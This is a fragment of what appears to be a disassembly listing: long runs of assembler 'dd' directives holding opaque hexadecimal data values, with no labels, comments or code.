		dd 5B7A0036h, 76677297h, 0E501BBA4h, 0D282C4B5h, 0E8D77485h
		dd 0FA7F544Bh, 88220070h, 129DCC43h, 6009C98h, 0A7876D35h
		dd 797963BFh, 0A8E703DCh, 96E297F9h, 86457600h,	75AE4841h
		dd 887859h, 9B20D6DBh, 7E335C81h, 0C0008DFCh, 0CA682B8h
		dd 7C5B6A7h, 7A58A58Fh,	2385F0CAh, 0ACB0A97Fh, 26373144h
		dd 143877A0h, 4918883h,	4800FBBFh, 52B0B7F6h, 0F900B5FEh
		dd 0A79BF25Ch, 0A5D94259h, 0FCAE5934h, 0C900CE56h, 9DE35982h
		dd 0A225CA1h, 0DD8AD5A6h, 521CE11Ch, 53108118h,	0A91DBA42h
		dd 0EA8D2187h, 0F636302Ch, 2E3331CDh, 0E8608FEh, 2CF36E21h
		dd 2A7BF440h, 0B53A36A7h, 1631BB3Ch, 0B8C3D94Eh, 6CECF876h
		dd 27261E69h, 0CEAD80C7h, 1FE2B2F2h, 8C01D45Bh,	0ED7DC39Dh
		dd 0D0E53096h, 0A46B6B0h, 0EF221407h, 81D2F936h, 0C51C99B3h
		dd 68832102h, 52E90248h, 3DB2CFD6h, 1D3E14DEh, 59F0D582h
		dd 2738421h, 0D285BB44h, 7CD8C2A9h, 4212D60h, 16FC73BCh
		dd 0D0BAF8E2h, 2FC35794h, 0DD23Ah, 0FDC4270Ch, 143494EDh
		dd 78D5FEAFh, 43BFA440h, 2CE7021Eh, 31CE3698h, 0F0771084h
		dd 861A002Ch, 0E44A642Ah, 0BD0C5F68h, 0E8D3BBE2h, 0E1FE6059h
		dd 3A92C00Ah, 0F360E112h, 8D4E2240h, 72092427h,	740501A1h
		dd 7E4172A0h, 44B84013h, 41C0FC5Bh, 15231457h, 6F270086h
		dd 131A0328h, 2D004BC1h, 0BAA1E40Ah, 5E7E872Ch,	297842CDh
		dd 0DB07EAA0h, 0A4608485h, 10467382h, 0C8D1B5BBh, 0BA028329h
		dd 91D8C872h, 43014EFFh, 279DD526h, 0AFFDD2EFh,	3E54FACEh
		dd 304290D1h, 76F8B196h, 0B685A0C7h, 846F3AFBh,	0C81F2A8Ch
		dd 140FC238h, 0CA9317E3h, 0C0204C40h, 0E602BE46h, 0D636892Ch
		dd 6A11BA31h, 0F27420EFh, 6B904603h, 0A07A5F74h, 3EC15597h
		dd 0BB8C7DC6h, 0EB31C01Eh, 5BADA000h, 8469202h,	0B9740ECFh
		dd 1264F23Fh, 704490C7h, 97000C03h, 4D61D28Ch, 0E0A2ECh
		dd 740964Fh, 939EC784h,	250F248h, 0DE50DCB2h, 32D88037h
		dd 0A0FAA0BFh, 0EBB172C0h, 33D6198Ah, 0EE1480ACh, 5D152D0h
		dd 32A6B000h, 0AE6F38A4h, 36670021h, 349FB91Eh,	89FC7361h
		dd 0BD46BC0Bh, 9AE4EBADh, 0F65A02B5h, 0B0A9B4A7h, 9DE0ED01h
		dd 302A44Ch, 0B934372Eh, 53EABC6h, 0D74EF79h, 47B4F041h
		dd 8BCB8901h, 0D612A6B4h, 50E8B082h, 0C40815E6h, 844674h
		dd 0EE38A5FAh, 32E59373h, 0F7B0BCDAh, 3A2DC401h, 14C420h
		dd 6EB6AC7Ah, 0EF287181h, 2E296A00h, 947DA1AAh,	0A9BC00D7h
		dd 53E3601Dh, 360C9344h, 0F1ED5A47h, 0EC9700C9h, 89A272E8h
		dd 0F2666A3Dh, 21C508h,	0D0EC8FAFh, 0A4267AFCh,	4F4CCC1Ch
		dd 9C87F069h, 4B00969h,	0E1CD6Bh, 37D1E056h, 749984CEh
		dd 44124114h, 433B84h, 0DA2AA27Fh, 3CA8B5E9h, 54F88A8Eh
		dd 0AB42C4BAh, 7D5EC1B0h, 4F40072Ah, 953FF34Dh,	504040CFh
		dd 29C03CD5h, 0FA62EF16h, 2571DFh, 968EDE09h, 0DD3890C0h
		dd 0FD7F0218h, 1A84E258h, 690B1ABDh, 5C80E0B7h,	0E0A33086h
		dd 5126103Bh, 8A293884h, 0FCDED687h, 0D4C6EA0Ah, 5E123930h
		dd 2880FF41h, 0F83FA5B2h, 0E9C377C0h, 0A66EAE96h, 49215F38h
		dd 30039BA8h, 11003311h, 887D4FD5h, 251E59BDh, 4841B4EDh
		dd 0FF2180CAh, 8CF17D47h, 0D4EB013Eh, 137704B8h, 0CA8910C3h
		dd 3510038h, 0BF1899CCh, 91003398h, 24BCDF3Ah, 0B57482Ah
		dd 429A696Dh, 86384C27h, 1C2441CEh, 15864CB6h, 0A649FE8h
		dd 0E5046114h, 8AC4AD8h, 95128F65h, 3BACD030h, 5845003Ch
		dd 965B7E8h, 49073960h,	83BA2BE1h, 92B17591h, 0A33EC24h
		dd 0AB766D4Ah, 818511D0h, 0BB457381h, 102C31DAh, 372B901h
		dd 294051FDh, 56920DD4h, 0CC6248C0h, 9E204082h,	0F06782F5h
		dd 6A608344h, 0A00157ADh, 74B2293Bh, 0B985C649h, 8E842F7h
		dd 50C0F0DCh, 46BD897Dh, 0CC2221h, 577D48FEh, 3EC73A6Ch
		dd 0A6AC4706h, 95B0E89Ah, 0ED7C4C98h, 0B7BEF818h, 31A73491h
		dd 842840DEh, 0CC621Eh,	2A5AFAC5h, 92EBC3BDh, 0F7407E0h
		dd 1224E07Eh, 9CA1BC92h, 2BBB588Fh, 0EF5A9421h,	8269319Ch
		dd 8E78E6B4h, 0F8089489h, 2CEB6094h, 0EE46368Ch, 6B008122h
		dd 44852CF4h, 3FDA2EAh,	336649DEh, 0DD888C57h, 0E80A2E1Bh
		dd 0C4143E70h, 82467Ch,	0E0F0678Bh, 1E2318D0h, 80AE0FB4h
		dd 0F75C7E85h, 0FE38B176h, 0BC61E5CAh, 14EC6023h, 30E63640h
		dd 6C80B988h, 7EDA2CEDh, 0E585044Ah, 0B8CC072Ah, 0F1A82F4h
		dd 8780AC6h, 0CC249641h, 4CF8308h, 893C6938h, 0A620E29Ch
		dd 6A27B4Ch, 9926BD75h,	341B38B6h, 1C08BEC0h, 92497230h
		dd 6350E123h, 3029A2D4h, 16097C75h, 79804A6Dh, 9E043844h
		dd 80D75A8Eh, 0FF7D9118h, 0C7286C71h, 0F1242035h, 0ED0044BBh
		dd 12C0AB89h, 0C9406411h, 0E7D4C3ECh, 83EBAEC8h, 0E012EECh
		dd 8CA73ACDh, 7C229C81h, 0F230C9F2h, 0FEA00A4h,	7A7E3502h
		dd 0E215BCD2h, 9B8D53Fh, 0A09B455Fh, 0C6B6B428h, 22C0C0D3h
		dd 0AAE475B9h, 809458h,	0B7EDF404h, 2425056Eh, 74C4EF23h
		dd 3600CF46h, 2BC20DAFh, 0A610AE46h, 0E813C34Ah, 0D4244805h
		dd 7830A026h, 284E121Ch, 46803A41h, 7D4602F2h, 3171BD83h
		dd 7EF410D0h, 799D317Dh, 35328674h, 3EE2FB50h, 0DE872C00h
		dd 9228B1DBh, 0EE3C8952h, 8738730h, 0D29DBB4Fh,	0FF402564h
		dd 301E73BFh, 40B98A00h, 0DC8A442h, 6D4612B5h, 2AF8F081h
		dd 762C175Dh, 898CFDF9h, 0A32B1C18h, 3D3BD5F0h,	72806A51h
		dd 66B20D5Dh, 0F0B0423Dh, 4C16DA20h, 0DE003444h, 9FBAF269h
		dd 0C24854E3h, 0CD3E14B8h, 0BF323CCh, 0CC057D43h, 0F3CC3879h
		dd 0FA7D7B09h, 5908D001h, 9B01A485h, 0A023DFB9h, 7528707Fh
		dd 0C4199768h, 2C1465Eh, 2B023B1Ch, 0DF8080DCh,	1F180B6Ah
		dd 0CDB81F6h, 0C118C217h, 0D835A124h, 5377808h,	0D87B3694h
		dd 0EC718BA4h, 38827223h, 837FAB44h, 45963103h,	0A57EB52Ah
		dd 0AD7F20D0h, 1B690042h, 6C8FE36Ah, 0E4E722D7h, 0C8B144AEh
		dd 95008491h, 860388C0h, 8A01EBA1h, 26BBB09Ch, 5089B261h
		dd 48900736h, 1C20D493h, 2654F8D1h, 0C188C042h,	0F5972CE8h
		dd 0B34428C6h, 0E52C9878h, 0AEE00143h, 9335D63h, 0D0802196h
		dd 5B37F99Dh, 0D010E1F0h, 0FF7F153h, 6F794EA3h,	3414AC88h
		dd 0C0DC585Ch, 67ECB7C8h, 1EFC006Eh, 9FAAE8FFh,	82047834h
		dd 0DC2BE2BDh, 62DC0453h, 0BF3601F6h, 8C20C932h, 71640279h
		dd 3E385BF2h, 188E9861h, 50730888h, 2EC465BBh, 73C00B5Ch
		dd 8289C084h, 4230EEE0h, 0BD87107Dh, 7A00E751h,	2512447Dh
		dd 0A8173F54h, 0DC80FF91h, 6C2EE5B2h, 48CE9E0Bh, 7A5C02D2h
		dd 705BF6h, 7001E353h, 43005278h, 543D4BF4h, 921B4AEAh
		dd 6C7902B8h, 87C49A53h, 3A12AB60h, 0C033A9C0h,	69F3A7h
		dd 511F43B1h, 8B1D73A5h, 6D313D13h, 2BCF020h, 6CF3594Bh
		dd 9B0D7E09h, 15FF9069h, 9461C004h, 0E8208509h,	23EBD4B4h
		dd 0C4227824h, 49901108h, 0CD11C017h, 0EB0BAF80h, 1C4EF6C0h
		dd 40B14841h, 4CF4BFB5h, 0C7D0E16h, 0D2276846h,	0FF04D095h
		dd 0A50450DFh, 0AC73B732h, 0A40B0C85h, 0A26D026Eh, 878C59BEh
		dd 1273B085h, 0B4A15CB1h
		dd 52303CD4h, 9446B008h, 85711CB1h, 0C61F6418h,	0B4E47602h
		dd 19854674h, 3A8C6794h, 50280071h, 0E28C2DB8h,	78DA12F4h
		dd 444C827Ah, 881704ECh, 0F420BCC0h, 0B4064974h, 90D51344h
		dd 0E19F996Ch, 205B0927h, 24D9C788h, 2E400023h,	37319859h
		dd 0B9139386h, 94E4A56Fh, 92784F38h, 8C6185A8h,	0B44210FEh
		dd 6F10040h, 15FDBE2Ah,	87004BA3h, 2985B10Eh, 4F8177DEh
		dd 190416C6h, 0E8EB0844h, 0B54F458Ch, 30C6C088h, 0EFA94036h
		dd 370B6B8Fh, 28E8482h,	7D03EA4h, 0DA892C11h, 0B9C92100h
		dd 8A5875C5h, 5EE500A0h, 0E34E967Fh, 0E72D3783h, 242C00DFh
		dd 91BBB97Eh, 6273077Ch, 4465C9D5h, 0AC632AE4h,	47166C98h
		dd 62B4FD50h, 0FDB01D40h, 8C7C1C60h, 0E5EC8A1Fh, 0C422467Ah
		dd 0EC82AC04h, 3487B033h, 1BC267h, 581B6A80h, 48F825A9h
		dd 5D2E3420h, 0A02814FEh, 0A662F629h, 0D0FAB158h, 61C9880h
		dd 32A8004h, 0FE4CF8C9h, 287D2360h, 72EA1677h, 0A96438F2h
		dd 0BEEC8500h, 0DA20815Dh, 7DEB00BDh, 0FDBB8FB6h, 0D104EDC3h
		dd 33CB17BAh, 84F2F0A2h, 0FDB0D30h, 0D8524510h,	2EC6CB82h
		dd 7EBAFC90h, 74ABF92Ch, 0DBB3E784h, 54C03814h,	81578CDDh
		dd 9FF78500h, 0C1C728B1h, 0E8E01A7h, 0B4B55B5Fh, 0D2142D3Ah
		dd 86C8748Ah, 358B9C0h,	526804E1h, 0B41D3FB5h, 22009224h
		dd 910F4C3Ah, 972108h, 67272ED4h, 0C13C2845h, 36A5FD00h
		dd 0F146BBFEh, 0CF20849Dh, 9E8C4FCh, 0FB971D8Eh, 0AF98AC07h
		dd 0B30D7541h, 9031D2F4h, 2850E878h, 24F0340Ah,	49483A7h
		dd 12EB4429h, 8721E804h, 0D1981C05h, 1039D6E8h,	19633DDh
		dd 0B706CA2Ch, 28668F34h, 0F00C5674h, 5C5746CDh, 0C5184823h
		dd 0AB02C18Bh, 2FC2D4A8h, 94BEB628h, 0BD0BFDF8h, 6B850526h
		dd 20F7EA78h, 282A6172h, 994488B2h, 7E040BC1h, 0C861082Ch
		dd 0DB12F2A5h, 311C506Ch, 0C2846C58h, 1EB371Ah,	87C412E1h
		dd 0C167C319h, 4651E580h, 480100FBh, 7619B4D9h,	0D302629Ch
		dd 0C6FDDC6Fh, 10544635h, 496A146h, 0C80B3A34h,	58444809h
		dd 842E9F02h, 614B1585h, 861890F8h, 2E4B7348h, 0FE706095h
		dd 257302BEh, 0ACB9F8EDh, 492D3C48h, 5240A0B0h,	8F330A36h
		dd 9E8E362h, 7010B4F8h,	0DA7D8C57h, 0EA5440F4h,	1D3089B8h
		dd 9E7921BDh, 0C8343D88h, 2237E502h, 84803D6Ah,	0F09FB108h
		dd 9527A801h, 696C9BE7h, 0AA05D072h, 44726E38h,	9831C69Ch
		dd 914175DCh, 40CF1AD8h, 772838FCh, 0F00C1833h,	11922373h
		dd 8B021A3Ch, 0E08D28D8h, 0F444C6A0h, 36260098h, 7608B0BBh
		dd 1D60B2Bh, 0C5204844h, 2FB53F88h, 0ED292262h,	83461846h
		dd 43730977h, 0A465BDBBh, 7340039Fh, 9B36A4F4h,	43D7007Fh
		dd 8FE2E674h, 0E9A0B86Dh, 701C361h, 0F27794AAh,	29CD6972h
		dd 0FB439881h, 5006C0F8h, 790BDCCh, 499D1D3Ch, 5200DDC8h
		dd 0F886A4F3h, 8F3608DDh, 954B32B6h, 80FE9134h,	488E4FB8h
		dd 201400C3h, 8ACF5E8Dh, 0FE2F872Ch, 166C913Bh,	0CD461210h
		dd 951390BCh, 8723E03Ah, 0EEF4901h, 7C20BD1Eh, 8CB8B7D4h
		dd 6A053481h, 209A78EBh, 93559007h, 0F9F74A72h,	806B1DD0h
		dd 0E336CCFBh, 1A1C97D9h, 0A1401454h, 1D29792Ah, 0E2B1C25h
		dd 739E00CDh, 0BFC083A3h, 122480A4h, 0A58024C6h, 0FB948ACDh
		dd 0D57300EDh, 48531E70h, 627BD0A2h, 0E2070FDh,	503D3D41h
		dd 10C6BD3h, 1398ACD2h,	84300C79h, 2C9F5C9Dh, 23F82EE5h
		dd 1E833E30h, 17E85CD0h, 37D50590h, 0FC021C0h, 90FEB2D8h
		dd 0FA8500E9h, 261F777Fh, 0DC5CBB89h, 0C49C2478h, 0B6D97605h
		dd 402FA088h, 0A25994F3h, 3D6E0848h, 53253D86h,	81116417h
		dd 30B6C480h, 0ED003A83h, 0DA9BA7FAh, 4E8D6F79h, 0E60834ABh
		dd 8753E008h, 7E3D3EC8h, 3030ACD5h, 0E102F5F7h,	187A9441h
		dd 0E7EC0B98h, 0B09C9A72h, 0EC90AE00h, 0E5C609AAh, 68EE3A05h
		dd 0B603100h, 8B07B579h, 66835505h, 70D0E6E1h, 0E033C4F0h
		dd 938F01E8h, 0F2AEB337h, 10FC7DC1h, 960B145Eh,	5C4146BEh
		dd 0A734DC8Ah, 10DAB230h, 610E4972h, 0F24E282Ch, 0E4DAF6F8h
		dd 230DE375h, 70BA8D3Eh, 48B89469h, 122FC6C0h, 0E42E16Bh
		dd 46B51644h, 0FCE9AB49h, 24DF1043h, 5BCF1544h,	0D2048CF4h
		dd 0C4B66B90h, 98E5818Ah, 0EC872B28h, 4B8BE34h,	0AB9C2C82h
		dd 0AA696CC0h, 3402DA80h, 0A058E9E7h, 0FCAC9340h, 69399F75h
		dd 23B2136Dh, 8AE570C8h, 8C83E805h, 814E2598h, 0C1F42C48h
		dd 61857D44h, 0B0B06C5Bh, 27D7CF2h, 75733C6h, 7CC132F8h
		dd 13D87C82h, 8032E492h, 131CC434h, 0D19B7D7Eh,	6EB6BA4h
		dd 94012018h, 0ABE2B208h, 884114CCh, 0C0179522h, 0A491ECC2h
		dd 7071041Bh, 70634661h, 0F23FFB22h, 12112058h,	0C0D6AFB0h
		dd 0AB97260h, 445385Bh,	54483616h, 0F8116719h, 5B2AB402h
		dd 0A94403F6h, 0E820205Bh, 50312D6h, 2AB595A8h,	0C114312Bh
		dd 12989240h, 0C0489C08h, 72E1EC96h, 642CAA4Fh,	0EC8E02B0h
		dd 0D66C73A9h, 63004464h, 0D0266EFDh, 191AE25h,	64CFE436h
		dd 62617375h, 0B73206D4h, 4BF18A15h, 0C814CB35h, 615DC086h
		dd 1A18265Ch, 2A9CF311h, 1CB48Fh, 44950ABBh, 7E006AE2h
		dd 0DB847547h, 0F5B6A69Eh, 2E3C824h, 0BD3ABCEBh, 78513E6Eh
		dd 0E418FD79h, 0EAC0D20Dh, 0A404D826h, 0F9C0D4DBh, 3AD3B5F5h
		dd 35B9763Eh, 580150E6h, 4336793Eh, 0FDA26C33h,	3E734F30h
		dd 50629EB9h, 0DC56839Ch, 1CC2A04Eh, 1FCC7Fh, 0ABB4FF33h
		dd 0A33CC8AAh, 0F5724300h, 0AD4614A9h, 87C9191h, 5762EB0Fh
		dd 76345E42h, 0D5008646h, 43370A20h, 50F8463Eh,	0C75FEA75h
		dd 8723DC3Ah, 0A9B27303h, 0B05DB88Fh, 10B551F8h, 0AA80A83Ch
		dd 8F61D43Ah, 1553C50Fh, 0E7A280A9h, 70AF6D57h,	696C0DAEh
		dd 0E08824E6h, 4E556E38h, 0BC306C98h, 0A7008CCEh, 0D2E09239h
		dd 0C236F278h, 0E9D8D658h, 98F42474h, 76F813CDh, 0EDE80407h
		dd 7F1A4198h, 0BC31D888h, 0E931CC69h, 0A85F918h, 0CBA60616h
		dd 0C02DC89Ch, 543CC304h, 9C58831Ah, 0C2F4E8D2h, 712E090Bh
		dd 1802B30Eh, 5818D303h, 35958443h, 97B9002Ch, 0A468EF18h
		dd 0AB965005h, 0D804D81Bh, 0D23343EAh, 30F122A4h, 82127D45h
		dd 0A4E269BDh, 5FFCF5CFh, 0A328763h, 0CD11906Eh, 0F65958ECh
		dd 0B7340454h, 20C0F9DAh, 0C0B11DBCh, 99AA92A1h, 7F7EBE78h
		dd 0DEC0E704h, 8CCC8BD7h, 0C5A03F7Dh, 8AC0580h,	91F470CBh
		dd 30620B12h, 60DA0456h, 8AE807CFh, 6418C525h, 0DAC660CDh
		dd 0DFA304C7h, 905F3ABAh, 3B8AD9ECh, 0A5D1743Ch, 14F440E2h
		dd 98FC06B1h, 813832C7h, 6974E105h, 8C422096h, 0CC8CEBFh
		dd 3121B090h, 0D0B5056Ch, 728CD9DFh, 30BAF22Ch,	0E225B369h
		dd 806CE812h, 0FE0A00A1h, 5FCE1853h, 9CF65D9Eh,	96CF3700h
		dd 63350CFCh, 36C1890h,	26DA8032h, 0D80AAC99h, 24C0E87Ah
		dd 15D7F96h, 0BAAB37E0h, 32980D7Eh, 0D86F107Ch,	0C0F84209h
		dd 88A8B8CBh, 0ED72BB07h, 597E25h, 0F302BC48h, 26C480FEh
		dd 82AD2Eh, 23B5A89h, 0F1C8A58h, 85C3CDA0h, 292CB57Ch
		dd 0BA61E4BBh, 0E87C1D6Eh, 0C024804h, 0D6E4F855h, 94D12C04h
		dd 0B92A5941h, 12C44182h, 0B172003Ah, 7389AD6h,	5CD2A732h
		dd 2E8C08Dh, 0D41FEA44h, 0E0AAF650h, 0D90EA710h, 0C627690Ch
		dd 0E412A090h, 0E428E341h, 808753C0h, 78CB0828h, 0A5F49197h
		dd 162054C6h, 6EF8C832h
		dd 94F8044Bh, 0CAE204B3h, 0CA805931h, 0B4BF3C96h, 69156D60h
		dd 213022EEh, 5C04A4E4h, 5802CF46h, 763892BBh, 94A010D2h
		dd 0F480D0FBh, 16492774h, 444F005h, 4F93F5C8h, 0A0D309C0h
		dd 4E6CBBB4h, 0C48AE8DFh, 328D7529h, 881125FFh,	2D0097CCh
		dd 0D722943Dh, 0CE0DF0h, 0C95E014Eh, 8BE5E8BDh,	0AA872C09h
		dd 440C44DBh, 4612442Eh, 5494B16Dh, 0CC328C84h,	71A125AEh
		dd 7364258h, 716C59A9h,	0C18C4h, 8CD79B8Eh, 9470E3F9h
		dd 0A01E6725h, 2EDCA14h, 0A60500FFh, 44ACCDCFh,	1E0517E5h
		dd 0D67953EEh, 85396000h, 35F7267h, 0CBCC88FFh,	44C31333h
		dd 3D9078C8h, 0B7C76309h, 0D62802EBh, 11EE191Bh, 98FF3384h
		dd 97270737h, 0F8C52889h, 156030E4h, 0F1495386h, 2AC70974h
		dd 20C04440h, 0EDE6BA29h, 78763126h, 0D4E3D762h, 0CC4254F4h
		dd 42C2DC50h, 888621C8h, 14C95A4Ah, 6EC14420h, 0BC1834EDh
		dd 0B640F494h, 0B516F446h, 0C0961C98h, 48CBA4Ah, 3617404Eh
		dd 0D88ABF13h, 0C086E442h, 0B92852B9h, 598011Ch, 0F5320E94h
		dd 627CECFCh, 0A3FEFA02h, 60844686h, 4874E088h,	5CB15406h
		dd 753801EEh, 63010839h, 520BC3DFh, 282CA418h, 10F2D708h
		dd 48BD2243h, 6D135CDAh, 4EA0A28Bh, 0C4037488h,	3339A670h
		dd 0B08FA59Fh, 32C02C88h, 87825h, 0E69792A5h, 7D111EE4h
		dd 7E352606h, 1288BF81h, 490C095h, 0AC133219h, 0B8598498h
		dd 38223C14h, 0BE053A00h, 4BC37BFBh, 0C9400C7h,	0E59C0F22h
		dd 84E64E95h, 3CAB3804h, 0A8AC9146h, 0D4299D02h, 0C45EF3FAh
		dd 0B1916B47h, 8EC8D9FEh, 0E673F62Fh, 0DDC33344h, 3048D3C8h
		dd 0C0322AC0h, 9379339h, 0EED67A86h, 5AFC8154h,	790829A8h
		dd 0BB4E80EEh, 0E1814627h, 51E8B5C4h, 0CB6B058Ah, 99FC672Eh
		dd 0BCA028A0h, 805F8CFEh, 0EA6EF073h, 0C48A0986h, 264674DCh
		dd 12497200h, 8CF73ABCh, 0CAC5FB1Eh, 28562DC0h,	95FE44D7h
		dd 2C117090h, 58B8400h,	345A6803h, 61CB00BAh, 0E389326Bh
		dd 9F01A83Bh, 410E74F3h, 0E4DCE8DCh, 30794C2Eh,	95DBD310h
		dd 0D7AC30h, 0E1271410h, 3498691Dh, 0C28EAF15h,	0FE4108C4h
		dd 0CC13A724h, 82FDB8F0h, 0AAA71500h, 320256DAh, 0D6162887h
		dd 238E201Ch, 0C5F13412h, 66805CDBh, 0F97CA495h, 8EE8B958h
		dd 0DCA2A436h, 0B211930Ch, 5B9E640h, 0F5BBFCBAh, 88F0CED1h
		dd 0AD21C088h, 1E502211h, 1B174D38h, 75000EC3h,	742E8C0Ch
		dd 8D22010Dh, 1FB176F4h, 0E0442A09h, 50361DB9h,	0FE368E12h
		dd 6DC034B2h, 9F372CF2h, 48719900h, 1D7BDF74h, 8A21C0B9h
		dd 0AEF07587h, 8CBC3101h, 919D96FDh, 3324F0h, 2EEE7EA1h
		dd 0E830CFB6h, 602F054Fh, 1E1C8823h, 6BE23A80h,	1B8F63Fh
		dd 10A1E38Ah, 0E0B574D9h, 229DD6D5h, 60156F98h,	0ED0F16Eh
		dd 0C9C6179Bh, 4402AC8Bh, 850382B1h, 40BE8CC0h,	8ECF248Ch
		dd 0BC0BAFDCh, 0E4BF1DB1h, 0E4CD07F0h, 6009C645h, 26FBB94Bh
		dd 0D2FCDA00h, 328AE636h, 0EF5712BFh, 0B630B08Eh, 50F22D4Bh
		dd 3E6E4908h, 37273C2Bh, 907501A0h, 0CC83C4B5h,	5C092E9Fh
		dd 0B312692h, 910C975Ch, 2E9587CCh, 0A56F0621h,	643A6C30h
		dd 0F235A1E7h, 3081F22Ch, 5C01B183h, 0F3D86FC7h, 5888735Fh
		dd 139CBFEh, 0B9C9B06Bh, 42C6BA63h, 79887180h, 514A1887h
		dd 0A2E8B091h, 0C41A8A28h, 607EB004h, 2EEBEC8Ch, 70CCFA72h
		dd 0EC0084AAh, 0E0FD9CDBh, 49BAB5Bh, 897E3D1Dh,	1B54B4ACh
		dd 133A4888h, 109ADFB6h, 0C900C074h, 723D542Dh,	14B2D269h
		dd 0AE8D3E00h, 7B703485h, 5050F32Ah, 489650ECh,	13961421h
		dd 0BB106300h, 0EB4841F0h, 0ACE2BC3Ch, 6E8994CAh, 0F8D0D0E5h
		dd 802F5B1Ah, 0BAEA47D8h, 0E9C30211h, 5E00BC78h, 0BA00CB46h
		dd 1B1853F6h, 0DA002E63h, 55C07697h, 22B0E75h, 0D044CD3Eh
		dd 3097FD51h, 0CB81CE11h, 60F6ECA8h, 3940029Ch,	263B0848h
		dd 0A82A8B65h, 7CE42151h, 8CC2E8E4h, 0C5035F02h, 82DB0CA0h
		dd 2DA1F8Ch, 887211E1h,	80EA7338h, 0F8958A1Ch, 4C59D285h
		dd 0A3000E27h, 0B69C6991h, 396311E8h, 91686731h, 0DAFB55BEh
		dd 0E84CE0DDh, 43A80161h, 0FE378AEBh, 0FC73F0h,	0AE3E2DFCh
		dd 189EDh, 9E859DD7h, 5BD2C253h, 428844Eh, 364240A9h, 0D0EE8710h
		dd 0F2209284h, 0C2522D8h, 0CBBF3ABAh, 760BB640h, 7B236874h
		dd 904B0128h, 0C40F1E11h, 7C024D0Ah, 59FFB293h,	33EF80E3h
		dd 5CBB58Fh, 5394EEF3h,	0C04CDB3Dh, 1ABD43ABh, 0F8A0B567h
		dd 59AE9C07h, 2929F860h, 0E0A11DE7h, 83870F95h,	69CE5686h
		dd 0C3577B40h, 0F7139803h, 3CE05CECh, 0C67830D3h, 124353F9h
		dd 2454A79Dh, 48DD97F0h, 0B493E089h, 0BA467490h, 6CE65C7Ch
		dd 91E420C0h, 1200B2B8h, 75F76C87h, 4CE81CACh, 82E88404h
		dd 4C77008Ch, 0CA529307h, 31001B80h, 1E3FB524h,	0EA6E641h
		dd 0CC34E2Bh, 0C5DAEC81h, 5044F9C6h, 955B8DDCh,	0C8225329h
		dd 7F18C2D1h, 0B8C09501h, 0B51D982Fh, 6B9F9980h, 589D7586h
		dd 8493605Ah, 0D321D43Dh, 24DF00DBh, 0C33F0062h, 0C6F89D34h
		dd 0AD446DFFh, 8E862D96h, 75F490C0h, 0D9BDC01Ah, 7EA8C081h
		dd 44C8BE30h, 2B2732D5h, 0CC031C50h, 9A50E8B4h,	0C0300C2Ah
		dd 0F849F5B5h, 9F6C475Ch, 3028C11Dh, 0E28093B7h, 0BA8C90BEh
		dd 0EC430F82h, 1202362Fh, 0C4F02176h, 28308D48h, 79DAA3Bh
		dd 4805808h, 32507F22h,	7CC0322Bh, 6527E871h, 60C36438h
		dd 0D5858Ch, 8E73F75Bh,	1D46BB4Dh, 82809260h, 0A87EAF36h
		dd 958784h, 7507C34Dh, 0A08E0926h, 8B533404h, 0C87B1Dh
		dd 0DB5220BFh, 22617408h, 0AF340524h, 0EC10A04Eh, 179E5810h
		dd 6A802E04h, 0F7402C5h, 9C1058F5h, 0C6467650h,	0CEDB8A00h
		dd 127AFB82h, 536C0F0Fh, 8FA640B6h, 0F7E8FEBBh,	3B00F43Dh
		dd 3AE6B35Ah, 0E14FBD2Ah, 3C3E9004h, 0A7082400h, 0B30F8E5Ah
		dd 0EBF843A5h, 0E56CC257h, 6082E444h, 0B5EBF4Eh, 7E432652h
		dd 89B59402h, 0D0A0788Ch, 0C77229ECh, 0DF198465h, 4AA2D487h
		dd 7A4440EBh, 46BA80EAh, 0C9976D2Fh, 0C4303D38h, 0AEB4884Bh
		dd 0C5DBF22Fh, 94B52D38h, 1AE8E400h, 4A68BDh, 6976DD10h
		dd 3684CB59h, 0BAA73408h, 1EE805CFh, 0C888CB54h, 57EDC0B9h
		dd 8488985h, 0E5EA1914h, 0C21435B9h, 1421B318h,	6FC17Eh
		dd 0CEE2485Ch, 0B0BE8B62h, 18264674h, 6F906152h, 895C0038h
		dd 6C8FA8D8h, 0D0C3B168h, 13E9542Eh, 40AB8768h,	0D3177430h
		dd 0D0A8EBB5h, 730BD824h, 0ABBA6F79h, 88B85170h, 0E142D47Bh
		dd 0BD6D048Fh, 22904800h, 82CD16F8h, 0CC20005Fh, 1CB6D563h
		dd 0E2DEA500h, 3C90C07Fh, 5B430D8Ch, 7E303E57h,	1B00F06Eh
		dd 9F9AA6BFh, 4005701Eh, 0AC2E6C0Dh, 2035D082h,	8FB3346Bh
		dd 0FC893C5Fh, 23642F2Fh, 5B56002Ch, 8705D7B5h,	68487C26h
		dd 11EE2989h, 0C2139274h, 47B11BE0h, 3ABB8305h,	0ACE0FB23h
		dd 0CC3448E1h, 2536B410h, 0C4906594h, 92160FFh,	0C0909D85h
		dd 6A01D4D8h, 0D57DBE30h, 0C4485B4Dh, 7C9C1F0Bh, 0E6A5002Eh
		dd 1FD147D2h, 789018F4h, 0E4F6B710h, 20B38A12h,	0E94817BCh
		dd 0B6103679h, 0D402E6DAh, 16AE9E75h, 0D2092058h, 68208EC0h
		dd 27AD9DA8h, 644D4244h, 78DC1EC0h, 6F6003F1h, 71315A4Bh
		dd 0BCBD94h, 3B0F6D2Eh,	29059B0h, 26B7C8BBh, 50406961h
		dd 0D72D02BAh, 0D0A840ECh, 49748034h, 0B400225Bh, 0C6ED4A2Ch
		dd 44104C2Ah
		dd 0AEEB2480h, 0FD3626B6h, 4684877h, 0D30A7E84h, 5A4CD23Dh
		dd 47807C5Eh, 0BE556ABDh, 2537005Fh, 914AFFF7h,	35097BE5h
		dd 0F9C71D82h, 0BD76841Ch, 0A067AAB9h, 0E3004194h, 9B6B0E70h
		dd 3ED75A10h, 0C706C44Ch, 0B0CBCE4Bh, 25C2F041h, 7AE881F3h
		dd 82430229h, 2175F580h, 63545BC6h, 30FEF29Ch, 0B49C7124h
		dd 0F3986A40h, 8F7800D9h, 20037CDEh, 96126DA7h,	140C68C3h
		dd 5F62D039h, 3A984442h, 0A80B12DAh, 961C700Ah,	3901DC28h
		dd 2F73A20Ch, 0C4503ED3h, 4EE546BCh, 0DB1C80A0h, 49506CA7h
		dd 3B5CE1B2h, 24D32240h, 0C480574h, 1E90FBA2h, 975C1D58h
		dd 90E0ACE6h, 0D0A0E048h, 0E2E2229Ch, 63F3FA76h, 31D0A240h
		dd 0CCF0F668h, 5F220C90h, 35A820F1h, 683E6D5Fh,	7600C123h
		dd 9EDE6EE5h, 74C7E8F8h, 0F6040412h, 0B0F946B5h, 0CCA7FEECh
